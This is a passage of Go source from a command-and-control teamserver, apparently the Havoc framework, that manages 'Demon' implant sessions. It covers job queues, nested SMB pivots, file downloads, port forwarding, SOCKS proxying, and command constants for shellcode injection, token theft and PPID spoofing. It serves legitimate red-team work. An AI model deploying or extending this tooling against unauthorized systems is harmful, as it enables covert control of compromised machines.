\")\"\n\t\t\t}\n\n\t\t\tSession.Info.Elevated = \"false\"\n\t\t\tif Elevated == 1 {\n\t\t\t\tSession.Info.Elevated = \"true\"\n\t\t\t}\n\n\t\t\tprocess := strings.Split(ProcessName, \"\\\\\")\n\n\t\t\tSession.Info.ProcessName = process[len(process)-1]\n\t\t\tSession.Info.ProcessPID  = ProcessPID\n\t\t\tSession.Info.ProcessTID  = ProcessTID\n\t\t\tSession.Info.ProcessPPID = ProcessPPID\n\t\t\tSession.Info.ProcessPath = ProcessName\n\t\t\tSession.Info.BaseAddress = BaseAddress\n\t\t\tSession.BackgroundCheck = false\n\n\t\t\t/*for {\n\t\t\t    if Parser.Length() >= 4 {\n\t\t\t        var Option = Parser.ParseInt32()\n\n\t\t\t        switch Option {\n\t\t\t        case DEMON_CHECKIN_OPTION_PIVOTS:\n\t\t\t            logger.Debug(\"DEMON_CHECKIN_OPTION_PIVOTS\")\n\t\t\t              var PivotCount = Parser.ParseInt32()\n\n\t\t\t              logger.Debug(\"PivotCount: \", PivotCount)\n\n\t\t\t              for {\n\t\t\t                  if PivotCount == 0 {\n\t\t\t                      break\n\t\t\t                  }\n\n\t\t\t                  var (\n\t\t\t                      PivotAgentID = Parser.ParseInt32()\n\t\t\t                      PivotPackage = Parser.ParseBytes()\n\t\t\t                      PivotParser  = parser.NewParser(PivotPackage)\n\t\t\t                      PivotSession *Agent\n\t\t\t                  )\n\n\t\t\t                  var (\n\t\t\t                      _             = PivotParser.ParseInt32()\n\t\t\t                      HdrMagicValue = PivotParser.ParseInt32()\n\t\t\t                      _             = PivotParser.ParseInt32()\n\t\t\t                      _             = PivotParser.ParseInt32()\n\t\t\t                  )\n\n\t\t\t                  PivotSession = ParseDemonRegisterRequest(PivotAgentID, PivotParser, RoutineFunc)\n\t\t\t                  if PivotSession != nil {\n\t\t\t                      PivotSession.Info.MagicValue = HdrMagicValue\n\n\t\t\t                      LogDemonCallback(PivotSession)\n\t\t\t                      RoutineFunc.AppendDemon(PivotSession)\n\t\t\t                      pk := RoutineFunc.EventNewDemon(PivotSession)\n\t\t\t                      RoutineFunc.EventAppend(pk)\n\t\t\t                      RoutineFunc.EventBroadcast(\"\", pk)\n\n\t\t\t                      Session.Pivots.Links = append(Session.Pivots.Links, PivotSession)\n\n\t\t\t                      PivotSession.Pivots.Parent = Session\n\t\t\t                  }\n\n\t\t\t                  PivotCount--\n\t\t\t              }\n\n\t\t\t            break\n\t\t\t        }\n\n\t\t\t    } else {\n\t\t\t        break\n\t\t\t    }\n\t\t\t}*/\n\n\t\t\tlogger.Debug(\"Finished parsing demon\")\n\n\t\t\treturn Session\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: REGISTER, Invalid packet\", AgentID))\n\t\t\treturn nil\n\t\t}\n\n\t} else {\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: REGISTER, Invalid packet\", AgentID))\n\t\treturn nil\n\t}\n}\n\n// check that the request the agent is valid\nfunc (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool {\n\t// some commands are always accepted because they don't follow the \"send task and get response\" format\n\tswitch CommandID {\n\tcase COMMAND_SOCKET:\n\t\treturn true\n\tcase COMMAND_PIVOT:\n\t\treturn true\n\t}\n\n\tif teamserver.SendLogs() && CommandID == BEACON_OUTPUT {\n\t\t// if SendLogs is on, accept all BEACON_OUTPUT so that the agent can send logs\n\t\treturn true\n\t}\n\n\tfor i := range a.Tasks {\n\t\tif a.Tasks[i].RequestID == RequestID {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// the operator added a new request/command\nfunc (a *Agent) AddRequest(job Job) []Job {\n\ta.Tasks = append(a.Tasks, job)\n\treturn a.Tasks\n}\n\n// after a request has been completed, we can forget about the RequestID so that it is no longer valid\nfunc (a *Agent) RequestCompleted(RequestID uint32) {\n\tfor i := range a.Tasks {\n\t\tif a.Tasks[i].RequestID == RequestID {\n\t\t\ta.Tasks = append(a.Tasks[:i], a.Tasks[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}\n\nfunc (a *Agent) AddJobToQueue(job Job) []Job {\n\t// store the RequestID\t\t\t\t\t\t\t\t\t\n\ta.AddRequest(job)\n\t// if it's a pivot agent then add the job to the parent\n\tif a.Pivots.Parent != nil {\n\t\t//logger.Debug(\"Prepare command for pivot demon: \" + a.NameID)\n\t\ta.PivotAddJob(job)\n\t\t// if it's a direct agent add the job to the direct agent\n\t} else {\n\t\ta.JobQueue = append(a.JobQueue, job)\n\t}\n\treturn a.JobQueue\n}\n\nfunc (a *Agent) GetQueuedJobs() []Job {\n\tvar Jobs []Job\n\tvar JobsSize = 0\n\tvar NumJobs = 0\n\n\t// make sure we return a number of jobs that doesn't exceed DEMON_MAX_RESPONSE_LENGTH\n\tfor _, job := range a.JobQueue {\n\n\t\tfor i := range job.Data {\n\n\t\t\tswitch job.Data[i].(type) {\n\t\t\tcase int:\n\t\t\t\tJobsSize += 4\n\t\t\t\tbreak\n\n\t\t\tcase int64:\n\t\t\t\tJobsSize += 8\n\t\t\t\tbreak\n\n\t\t\tcase uint64:\n\t\t\t\tJobsSize += 8\n\t\t\t\tbreak\n\n\t\t\tcase int32:\n\t\t\t\tJobsSize += 4\n\t\t\t\tbreak\n\n\t\t\tcase uint32:\n\t\t\t\tJobsSize += 4\n\t\t\t\tbreak\n\n\t\t\tcase int16:\n\t\t\t\tJobsSize += 2\n\t\t\t\tbreak\n\n\t\t\tcase uint16:\n\t\t\t\tJobsSize += 2\n\t\t\t\tbreak\n\n\t\t\tcase string:\n\t\t\t\tJobsSize += 4 + len(job.Data[i].(string))\n\t\t\t\tbreak\n\n\t\t\tcase []byte:\n\t\t\t\tJobsSize += 4 + len(job.Data[i].([]byte))\n\t\t\t\tbreak\n\n\t\t\tcase byte:\n\t\t\t\tJobsSize += 1\n\t\t\t\tbreak\n\n\t\t\tcase bool:\n\t\t\t\tJobsSize += 4\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Error(fmt.Sprintf(\"Could determine package size, unknown data type: %v\", job.Data[i]))\n\t\t\t}\n\t\t}\n\n\t\tif JobsSize >= DEMON_MAX_RESPONSE_LENGTH {\n\t\t\tbreak\n\t\t}\n\n\t\tNumJobs++\n\t}\n\n\t// if there is a very large job, send it anyways\n\tif len(a.JobQueue) > 0 && NumJobs == 0 {\n\t\tNumJobs = 1\n\t}\n\n\t// return NumJobs and leave the rest on the JobQueue\n\tJobs, a.JobQueue = a.JobQueue[:NumJobs], a.JobQueue[NumJobs:]\n\n\treturn Jobs\n}\n\nfunc (a *Agent) UpdateLastCallback(Teamserver TeamServer) {\n\ta.Info.LastCallIn = time.Now().Format(\"02-01-2006 15:04:05\")\n\tTeamserver.AgentUpdate(a)\n\n\tTeamserver.AgentLastTimeCalled(a.NameID, a.Info.LastCallIn, a.Info.SleepDelay, a.Info.SleepJitter, a.Info.KillDate, a.Info.WorkingHours)\n}\n\nfunc (a *Agent) PivotAddJob(job Job) {\n\tvar (\n\t\tPayload  = BuildPayloadMessage([]Job{job}, a.Encryption.AESKey, a.Encryption.AESIv)\n\t\tPacker   = packer.NewPacker(nil, nil)\n\t\tpivots   *Pivots\n\t\tPivotJob Job\n\t\tAgentID  int64\n\t\terr      error\n\t)\n\n\t// core package that the end pivot receive\n\tAgentID, err = strconv.ParseInt(a.NameID, 16, 32)\n\tif err != nil {\n\t\tlogger.Debug(\"Failed to convert NameID string to AgentID: \" + err.Error())\n\t\treturn\n\t}\n\n\tPacker.AddInt32(int32(AgentID))\n\tPacker.AddBytes(Payload)\n\n\t// add this job to pivot queue.\n\t// tho it's not going to be used besides for the task size calculator\n\t// which is going to be displayed to the operator.\n\ta.JobQueue = append(a.JobQueue, job)\n\n\tPivotJob = Job{\n\t\tCommand: COMMAND_PIVOT,\n\t\tData: []interface{}{\n\t\t\tDEMON_PIVOT_SMB_COMMAND,\n\t\t\tuint32(AgentID),\n\t\t\tPacker.Buffer(),\n\t\t},\n\t}\n\n\tpivots = &a.Pivots\n\n\t// pack it up for all the parent pivots.\n\tfor {\n\t\tif pivots.Parent.Pivots.Parent == nil {\n\t\t\tbreak\n\t\t}\n\n\t\t// create new layer package.\n\t\tPayload = BuildPayloadMessage([]Job{PivotJob}, pivots.Parent.Encryption.AESKey, pivots.Parent.Encryption.AESIv)\n\t\tPacker = packer.NewPacker(nil, nil)\n\n\t\tAgentID, err = strconv.ParseInt(pivots.Parent.NameID, 16, 32)\n\t\tif err != nil {\n\t\t\tlogger.Debug(\"Failed to convert NameID string to AgentID: \" + err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tPacker.AddInt32(int32(AgentID))\n\t\tPacker.AddBytes(Payload)\n\n\t\tPivotJob = Job{\n\t\t\tCommand: COMMAND_PIVOT,\n\t\t\tData: []interface{}{\n\t\t\t\tDEMON_PIVOT_SMB_COMMAND,\n\t\t\t\tuint32(AgentID),\n\t\t\t\tPacker.Buffer(),\n\t\t\t},\n\t\t}\n\n\t\tpivots = &pivots.Parent.Pivots\n\t}\n\n\tpivots.Parent.JobQueue = append(pivots.Parent.JobQueue, PivotJob)\n}\n\nfunc (a *Agent) DownloadAdd(FileID int, FilePath string, FileSize int64) error {\n\tvar (\n\t\terr      error\n\t\tdownload = &Download{\n\t\t\tFileID:    FileID,\n\t\t\tFilePath:  FilePath,\n\t\t\tTotalSize: FileSize,\n\t\t\tProgress:  FileSize,\n\t\t\tState:     DOWNLOAD_STATE_RUNNING,\n\t\t}\n\n\t\tDemonPath        = logr.LogrInstance.AgentPath + \"/\" + a.NameID\n\t\tDemonDownloadDir = DemonPath + \"/Download\"\n\t\tDownloadFilePath = strings.Join(strings.Split(FilePath, \"\\\\\"), \"/\")\n\t\tFileSplit        = strings.Split(DownloadFilePath, \"/\")\n\t\tDownloadFile     = FileSplit[len(FileSplit)-1]\n\t\tDemonDownload    = DemonDownloadDir + \"/\" + strings.Join(FileSplit[:len(FileSplit)-1], \"/\")\n\t)\n\n\t/* check if we don't have a path traversal */\n\tpath := filepath.Clean(DemonDownload)\n\tif !strings.HasPrefix(path, DemonDownloadDir) {\n\t\tlogger.Error(\"File didn't started with agent download path. abort\")\n\t\treturn errors.New(\"File didn't started with agent download path. abort\")\n\t}\n\n\tif _, err := os.Stat(DemonDownload); os.IsNotExist(err) {\n\t\tif err = os.MkdirAll(DemonDownload, os.ModePerm); err != nil {\n\t\t\tlogger.Error(\"Failed to create Logr demon download path\" + a.NameID + \": \" + err.Error())\n\t\t\treturn errors.New(\"Failed to create Logr demon download path\" + a.NameID + \": \" + err.Error())\n\t\t}\n\t}\n\n\t/* remove null terminator. goland doesn't like it. */\n\tDownloadFile = common.StripNull(DownloadFile)\n\n\tdownload.File, err = os.Create(DemonDownload + \"/\" + DownloadFile)\n\tif err != nil {\n\t\tlogger.Error(\"Failed to create file: \" + err.Error())\n\t\treturn errors.New(\"Failed to create file: \" + err.Error())\n\t}\n\n\tdownload.LocalFile = DemonDownload + \"/\" + DownloadFile\n\n\ta.Downloads = append(a.Downloads, download)\n\n\treturn nil\n}\n\nfunc (a *Agent) DownloadWrite(FileID int, data []byte) error {\n\tfor i := range a.Downloads {\n\t\tif a.Downloads[i].FileID == FileID {\n\t\t\t_, err := a.Downloads[i].File.Write(data)\n\t\t\tif err != nil {\n\t\t\t\ta.Downloads[i].File, err = os.Create(a.Downloads[i].LocalFile)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.New(\"Failed to create file: \" + err.Error())\n\t\t\t\t}\n\n\t\t\t\t_, err = a.Downloads[i].File.Write(data)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.New(\"Failed to write to file [\" + a.Downloads[i].LocalFile + \"]: \" + err.Error())\n\t\t\t\t}\n\n\t\t\t\ta.Downloads[i].Progress += int64(len(data))\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn errors.New(fmt.Sprintf(\"FileID not found: %x\", FileID))\n}\n\nfunc (a *Agent) DownloadClose(FileID int) {\n\tfor i := range a.Downloads {\n\t\tif a.Downloads[i].FileID == FileID {\n\t\t\terr := a.Downloads[i].File.Close()\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(fmt.Sprintf(\"Failed to close download (%x) file: %v\", a.Downloads[i].FileID, err))\n\t\t\t}\n\n\t\t\ta.Downloads = append(a.Downloads[:i], a.Downloads[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}\n\nfunc (a *Agent) DownloadGet(FileID int) *Download {\n\tfor _, download := range a.Downloads {\n\t\tif download.FileID == FileID {\n\t\t\treturn download\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort int, Target string) {\n\tvar portfwd = &PortFwd{\n\t\tConn:    nil,\n\t\tSocktID: SocketID,\n\t\tLclAddr: LclAddr,\n\t\tLclPort: LclPort,\n\t\tFwdAddr: FwdAddr,\n\t\tFwdPort: FwdPort,\n\t\tTarget:  Target,\n\t}\n\n\ta.PortFwdsMtx.Lock()\n\t\n\ta.PortFwds = append(a.PortFwds, portfwd)\n\n\ta.PortFwdsMtx.Unlock()\n}\n\nfunc (a *Agent) PortFwdGet(SocketID int) *PortFwd {\n\ta.PortFwdsMtx.Lock()\n\tdefer a.PortFwdsMtx.Unlock()\n\n\tfor i := range a.PortFwds {\n\n\t\t/* check if it's our rportfwd connection */\n\t\tif a.PortFwds[i].SocktID == SocketID {\n\n\t\t\t/* return the found PortFwd object */\n\t\t\treturn a.PortFwds[i]\n\n\t\t}\n\n\t}\n\n\treturn nil\n}\n\nfunc (a *Agent) PortFwdIsOpen(SocketID int) (bool, error) {\n\tPortFwd := a.PortFwdGet(SocketID)\n\n\tif PortFwd != nil {\n\t\treturn PortFwd.Conn != nil, nil\n\t} else {\n\t\treturn false, fmt.Errorf(\"rportfwd socket id %x not found\", SocketID)\n\t}\n}\n\nfunc (a *Agent) PortFwdOpen(SocketID int) error {\n\tvar (\n\t\terr     error\n\t\tPortFwd *PortFwd\n\t)\n\n\tPortFwd = a.PortFwdGet(SocketID)\n\n\tif PortFwd != nil {\n\t\tif PortFwd.Conn == nil {\n\t\t\t/* open the connection to the target */\n\t\t\tPortFwd.Conn, err = net.Dial(\"tcp\", PortFwd.Target)\n\t\t\treturn err\n\t\t} else {\n\t\t\treturn errors.New(\"rportfwd connection is already open\")\n\t\t}\n\t} else {\n\t\treturn fmt.Errorf(\"rportfwd socket id %x not found\", SocketID)\n\t}\n}\n\nfunc (a *Agent) PortFwdWrite(SocketID int, data []byte) error {\n\tvar PortFwd *PortFwd\n\n\tPortFwd = a.PortFwdGet(SocketID)\n\n\tif PortFwd != nil {\n\t\t/* write to the connection */\n\t\tif PortFwd.Conn != nil {\n\t\t\t_, err := PortFwd.Conn.Write(data)\n\t\t\treturn err\n\t\t} else {\n\t\t\treturn errors.New(\"rportfwd connection is empty\")\n\t\t}\n\t} else {\n\t\treturn fmt.Errorf(\"rportfwd socket id %x not found\", SocketID)\n\t}\n}\n\nfunc (a *Agent) PortFwdRead(SocketID int) ([]byte, error) {\n\tvar (\n\t\tdata    = bytes.Buffer{}\n\t\tPortFwd *PortFwd\n\t)\n\n\tPortFwd = a.PortFwdGet(SocketID)\n\n\tif PortFwd != nil {\n\t\tif PortFwd.Conn != nil {\n\t\t\t/* read from our socket to the data buffer or return error */\n\t\t\t_, err := io.Copy(&data, PortFwd.Conn)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t/* return the read data */\n\t\t\treturn data.Bytes(), nil\n\t\t} else {\n\t\t\treturn nil, errors.New(\"rportfwd connection is empty\")\n\t\t}\n\t} else {\n\t\treturn nil, fmt.Errorf(\"rportfwd socket id %x not found\", SocketID)\n\t}\n}\n\nfunc (a *Agent) PortFwdClose(SocketID int) {\n\ta.PortFwdsMtx.Lock()\n\tdefer a.PortFwdsMtx.Unlock()\n\n\tfor i := range a.PortFwds {\n\n\t\t/* check if it's our rportfwd connection */\n\t\tif a.PortFwds[i].SocktID == SocketID {\n\n\t\t\t/* is there a socket? if not the not try anything or else we get an exception */\n\t\t\tif a.PortFwds[i].Conn != nil {\n\n\t\t\t\tlogger.Info(\"Portfwd close\")\n\n\t\t\t\t/* close our connection */\n\t\t\t\ta.PortFwds[i].Conn.Close()\n\t\t\t\ta.PortFwds[i].Conn = nil\n\n\t\t\t}\n\n\t\t\t/* remove the socket from the array */\n\t\t\ta.PortFwds = append(a.PortFwds[:i], a.PortFwds[i+1:]...)\n\n\t\t\tbreak;\n\t\t}\n\n\t}\n\n}\n\nfunc (a *Agent) SocksClientAdd(SocketID int32, conn net.Conn, ATYP byte, IpDomain []byte, Port uint16) *SocksClient {\n\n\tvar client = new(SocksClient)\n\n\tclient.SocketID  = SocketID\n\tclient.Conn      = conn\n\tclient.Connected = false\n\tclient.ATYP      = ATYP\n\tclient.IpDomain  = IpDomain\n\tclient.Port      = Port\n\n\ta.SocksCliMtx.Lock()\n\n\ta.SocksCli = append(a.SocksCli, client)\n\n\ta.SocksCliMtx.Unlock()\n\n\treturn client\n}\n\nfunc (a *Agent) SocksClientGet(SocketID int) *SocksClient {\n\tvar (\n\t\tclient *SocksClient = nil\n\t)\n\n\ta.SocksCliMtx.Lock()\n\n\tfor i := range a.SocksCli {\n\n\t\tif a.SocksCli[i].SocketID == int32(SocketID) {\n\n\t\t\tclient = a.SocksCli[i]\n\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\ta.SocksCliMtx.Unlock()\n\n\treturn client\n}\n\nfunc (a *Agent) SocksClientRead(client *SocksClient) ([]byte, error) {\n\tvar (\n\t\tdata  = make([]byte, 0x10000)\n\t\tread  []byte\n\t)\n\n\tif client != nil {\n\t\tif client.Conn != nil {\n\t\t\tif client.Connected {\n\n\t\t\t\t/* read from our socket to the data buffer or return error */\n\t\t\t\tclient.Conn.SetReadDeadline(time.Time{})\n\t\t\t\tlength, err := client.Conn.Read(data)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tread = make([]byte, length)\n\t\t\t\tcopy(read, data)\n\n\t\t\t\t/* return the read data */\n\t\t\t\treturn read, nil\n\n\t\t\t} else {\n\t\t\t\treturn nil, errors.New(\"socks proxy is not connected\")\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, errors.New(\"socks proxy connection is empty\")\n\t\t}\n\t} else {\n\t\treturn nil, errors.New(\"socks proxy empty client\")\n\t}\n}\n\nfunc (a *Agent) SocksClientClose(SocketID int32) bool {\n\tfound := false\n\n\ta.SocksCliMtx.Lock()\n\n\tfor i := range a.SocksCli {\n\n\t\t/* check if it's our rportfwd connection */\n\t\tif a.SocksCli[i].SocketID == int32(SocketID) {\n\n\t\t\t/* is there a socket? if not the not try anything or else we get an exception */\n\t\t\tif a.SocksCli[i].Conn != nil {\n\n\t\t\t\t/* close our connection */\n\t\t\t\ta.SocksCli[i].Conn.Close()\n\t\t\t\ta.SocksCli[i].Conn = nil\n\n\t\t\t}\n\n\t\t\t/* remove the socks server from the array */\n\t\t\ta.SocksCli = append(a.SocksCli[:i], a.SocksCli[i+1:]...)\n\n\t\t\tfound = true\n\n\t\t\tbreak\n\t\t}\n\t}\n\n\ta.SocksCliMtx.Unlock()\n\n\treturn found\n}\n\nfunc (a *Agent) SocksServerRemove(Addr string) {\n\n\ta.SocksSvrMtx.Lock()\n\n\tfor i := range a.SocksSvr {\n\n\t\tif a.SocksSvr[i].Addr == Addr {\n\n\t\t\t/* is there a socket? if not the not try anything or else we get an exception */\n\t\t\tif a.SocksSvr[i].Server != nil {\n\n\t\t\t\t/* close our connection */\n\t\t\t\ta.SocksSvr[i].Server.Close()\n\t\t\t\ta.SocksSvr[i].Server = nil\n\n\t\t\t}\n\n\t\t\t/* remove the socket from the array */\n\t\t\ta.SocksSvr = append(a.SocksSvr[:i], a.SocksSvr[i+1:]...)\n\n\t\t\tbreak;\n\t\t}\n\n\t}\n\n\ta.SocksSvrMtx.Unlock()\n\n}\n\n// ToMap returns the agent info as a map\nfunc (a *Agent) ToMap() map[string]interface{} {\n\tvar (\n\t\tParentAgent *Agent\n\t\tInfo        map[string]any\n\t\tMagicValue  string\n\t)\n\n\tParentAgent = a.Pivots.Parent\n\ta.Pivots.Parent = nil\n\n\tInfo = structs.Map(a)\n\n\tInfo[\"Info\"].(map[string]interface{})[\"Listener\"] = nil\n\n\tdelete(Info, \"Connection\")\n\tdelete(Info, \"SessionDir\")\n\tdelete(Info, \"JobQueue\")\n\tdelete(Info, \"Parent\")\n\n\tMagicValue = fmt.Sprintf(\"%08x\", a.Info.MagicValue)\n\n\tif ParentAgent != nil {\n\t\tInfo[\"PivotParent\"] = ParentAgent.NameID\n\t\ta.Pivots.Parent = ParentAgent\n\t}\n\n\tInfo[\"MagicValue\"] = MagicValue\n\n\treturn Info\n}\n\nfunc (a *Agent) ToJson() string {\n\t// TODO: add Agents pivot links too\n\n\tjsonBytes, err := json.Marshal(a.ToMap())\n\tif err != nil {\n\t\tlogger.Error(\"Failed to marshal object to json: \" + err.Error())\n\t\treturn \"\"\n\t}\n\n\tlogger.Debug(\"jsonBytes =>\", string(jsonBytes))\n\n\treturn string(jsonBytes)\n}\n\nfunc (agents *Agents) AgentsAppend(demon *Agent) []*Agent {\n\tagents.Agents = append(agents.Agents, demon)\n\treturn agents.Agents\n}\n\nfunc getWindowsVersionString(OsVersion []int) string {\n\tvar WinVersion = \"Unknown\"\n\n\tif OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 && OsVersion[4] == 20348 {\n\t\tWinVersion = \"Windows 2022 Server 22H2\"\n\t} else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 && OsVersion[4] == 17763 {\n\t\tWinVersion = \"Windows 2019 Server\"\n\t} else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] == 0x0000001 && (OsVersion[4] >= 22000 && OsVersion[4] <= 22621) {\n\t\tWinVersion = \"Windows 11\"\n\t} else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] != 0x0000001 {\n\t\tWinVersion = \"Windows 2016 Server\"\n\t} else if OsVersion[0] == 10 && OsVersion[1] == 0 && OsVersion[2] == 0x0000001 {\n\t\tWinVersion = \"Windows 10\"\n\t} else if OsVersion[0] == 6 && OsVersion[1] == 3 && OsVersion[2] != 0x0000001 {\n\t\tWinVersion = \"Windows Server 2012 R2\"\n\t} else if OsVersion[0] == 6 && OsVersion[1] == 3 && OsVersion[2] == 0x0000001 {\n\t\tWinVersion = \"Windows 8.1\"\n\t} else if OsVersion[0] == 6 && OsVersion[1] == 2 && OsVersion[2] != 0x0000001 {\n\t\tWinVersion = \"Windows Server 2012\"\n\t} else if OsVersion[0] == 6 && OsVersion[1] == 2 && OsVersion[2] == 0x0000001 {\n\t\tWinVersion = \"Windows 8\"\n\t} else if OsVersion[0] == 6 && OsVersion[1] == 1 && OsVersion[2] != 0x0000001 {\n\t\tWinVersion = \"Windows Server 2008 R2\"\n\t} else if OsVersion[0] == 6 && OsVersion[1] == 1 && OsVersion[2] == 0x0000001 {\n\t\tWinVersion = \"Windows 7\"\n\t}\n\n\tif OsVersion[3] != 0 {\n\t\tWinVersion += \" Service Pack \" + strconv.Itoa(OsVersion[3])\n\t}\n\n\treturn WinVersion\n}\n"
  },
  {
    "path": "teamserver/pkg/agent/commands.go",
    "content": "package agent\n\nconst (\n\tDEMON_MAGIC_VALUE = 0xDEADBEEF\n)\n\nconst (\n\t/*\n\t * https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile\n\t * Pipe write operations across a network are limited in size per write.\n\t * The amount varies per platform. For x86 platforms it's 63.97 MB.\n\t * For x64 platforms it's 31.97 MB. For Itanium it's 63.95 MB.\n\t */\n\t// we are using 30 MB\n\tDEMON_MAX_RESPONSE_LENGTH = 0x1e00000\n)\n\nconst (\n\tPROCESS_ARCH_UNKNOWN = 0\n\tPROCESS_ARCH_X86     = 1\n\tPROCESS_ARCH_X64     = 2\n\tPROCESS_ARCH_IA64    = 3\n)\n\n// TODO: change Command IDs. use something more readable and understandable.\nconst (\n\tCOMMAND_GET_JOB                 = 1\n\tDEMON_INIT                      = 99\n\tCOMMAND_CHECKIN                 = 100\n\tCOMMAND_NOJOB                   = 10\n\tCOMMAND_SLEEP                   = 11\n\tCOMMAND_PROC                    = 0x1010\n\tCOMMAND_PS_IMPORT               = 0x1011\n\tCOMMAND_PROC_LIST               = 12\n\tCOMMAND_FS                      = 15\n\tCOMMAND_INLINEEXECUTE           = 20\n\tCOMMAND_ASSEMBLY_INLINE_EXECUTE = 0x2001\n\tCOMMAND_ASSEMBLY_LIST_VERSIONS  = 0x2003\n\tCOMMAND_JOB                     = 21\n\tCOMMAND_INJECT_DLL              = 22\n\tCOMMAND_INJECT_SHELLCODE        = 24\n\tCOMMAND_SPAWNDLL                = 26\n\tCOMMAND_PROC_PPIDSPOOF          = 27\n\tCOMMAND_TOKEN                   = 40\n\tCOMMAND_NET                     = 2100\n\tCOMMAND_CONFIG                  = 2500\n\tCOMMAND_SCREENSHOT              = 2510\n\tCOMMAND_PIVOT                   = 2520\n\tCOMMAND_TRANSFER                = 2530\n\tCOMMAND_SOCKET                  = 2540\n\tCOMMAND_KERBEROS                = 2550\n\tCOMMAND_MEM_FILE                = 2560\n\tCOMMAND_PACKAGE_DROPPED         = 2570\n\n\tDEMON_INFO = 89\n\n\tCOMMAND_OUTPUT    = 90\n\tCOMMAND_ERROR     = 91\n\tCOMMAND_EXIT      = 92\n\tCOMMAND_KILL_DATE = 93\n\tBEACON_OUTPUT     = 94\n\n\tCOMMAND_INLINEEXECUTE_EXCEPTION        = 1\n\tCOMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND = 2\n\tCOMMAND_INLINEEXECUTE_RAN_OK           = 3\n\tCOMMAND_INLINEEXECUTE_COULD_NO_RUN     = 4\n\n\tCOMMAND_EXCEPTION        = 0x98\n\tCOMMAND_SYMBOL_NOT_FOUND = 0x99\n\n\tCALLBACK_OUTPUT      = 0x0\n\tCALLBACK_OUTPUT_OEM  = 0x1e\n\tCALLBACK_ERROR       = 0x0d\n\tCALLBACK_OUTPUT_UTF8 = 0x20\n\tCALLBACK_FILE        = 0x02\n\tCALLBACK_FILE_WRITE  = 0x08\n\tCALLBACK_FILE_CLOSE  = 0x09\n)\n\nconst (\n\tCONFIG_IMPLANT_SPFTHREADSTART  = 3\n\tCONFIG_IMPLANT_SLEEP_TECHNIQUE = 5\n\n\tCONFIG_IMPLANT_VERBOSE         = 4\n\tCONFIG_IMPLANT_COFFEE_THREADED = 6\n\tCONFIG_IMPLANT_COFFEE_VEH      = 7\n\n\tCONFIG_MEMORY_ALLOC   = 101\n\tCONFIG_MEMORY_EXECUTE = 102\n\n\tCONFIG_INJECT_TECHNIQUE = 150\n\tCONFIG_INJECT_SPOOFADDR = 151\n\tCONFIG_INJECT_SPAWN64   = 152\n\tCONFIG_INJECT_SPAWN32   = 153\n\n\tCONFIG_KILLDATE     = 154\n\tCONFIG_WORKINGHOURS = 155\n\n\tDEMON_NET_COMMAND_DOMAIN     = 1\n\tDEMON_NET_COMMAND_LOGONS     = 2\n\tDEMON_NET_COMMAND_SESSIONS   = 3\n\tDEMON_NET_COMMAND_COMPUTER   = 4\n\tDEMON_NET_COMMAND_DCLIST     = 5\n\tDEMON_NET_COMMAND_SHARE      = 6\n\tDEMON_NET_COMMAND_LOCALGROUP = 7\n\tDEMON_NET_COMMAND_GROUP      = 8\n\tDEMON_NET_COMMAND_USERS      = 9\n\n\tDEMON_PIVOT_LIST           = 1\n\tDEMON_PIVOT_SMB_CONNECT    = 10\n\tDEMON_PIVOT_SMB_DISCONNECT = 11\n\tDEMON_PIVOT_SMB_COMMAND    = 12\n\n\tDEMON_INFO_MEM_ALLOC   = 10\n\tDEMON_INFO_MEM_EXEC    = 11\n\tDEMON_INFO_MEM_PROTECT = 12\n\tDEMON_INFO_PROC_CREATE = 21\n\n\tDEMON_COMMAND_JOB_LIST        = 1\n\tDEMON_COMMAND_JOB_SUSPEND     = 2\n\tDEMON_COMMAND_JOB_RESUME      = 3\n\tDEMON_COMMAND_JOB_KILL_REMOVE = 4\n\tDEMON_COMMAND_JOB_DIED        = 5\n\n\tDEMON_COMMAND_TRANSFER_LIST   = 0\n\tDEMON_COMMAND_TRANSFER_STOP   = 1\n\tDEMON_COMMAND_TRANSFER_RESUME = 2\n\tDEMON_COMMAND_TRANSFER_REMOVE = 3\n\n\tDEMON_COMMAND_PROC_MODULES = 2\n\tDEMON_COMMAND_PROC_GREP    = 3\n\tDEMON_COMMAND_PROC_CREATE  = 4\n\tDEMON_COMMAND_PROC_MEMORY  = 6\n\tDEMON_COMMAND_PROC_KILL    = 7\n\n\tDEMON_COMMAND_TOKEN_IMPERSONATE      = 1\n\tDEMON_COMMAND_TOKEN_STEAL            = 2\n\tDEMON_COMMAND_TOKEN_LIST             = 3\n\tDEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST = 4\n\tDEMON_COMMAND_TOKEN_MAKE             = 5\n\tDEMON_COMMAND_TOKEN_GET_UID          = 6\n\tDEMON_COMMAND_TOKEN_REVERT           = 7\n\tDEMON_COMMAND_TOKEN_REMOVE           = 8\n\tDEMON_COMMAND_TOKEN_CLEAR            = 9\n\tDEMON_COMMAND_TOKEN_FIND_TOKENS      = 10\n\n\tDEMON_COMMAND_FS_DIR      = 1\n\tDEMON_COMMAND_FS_DOWNLOAD = 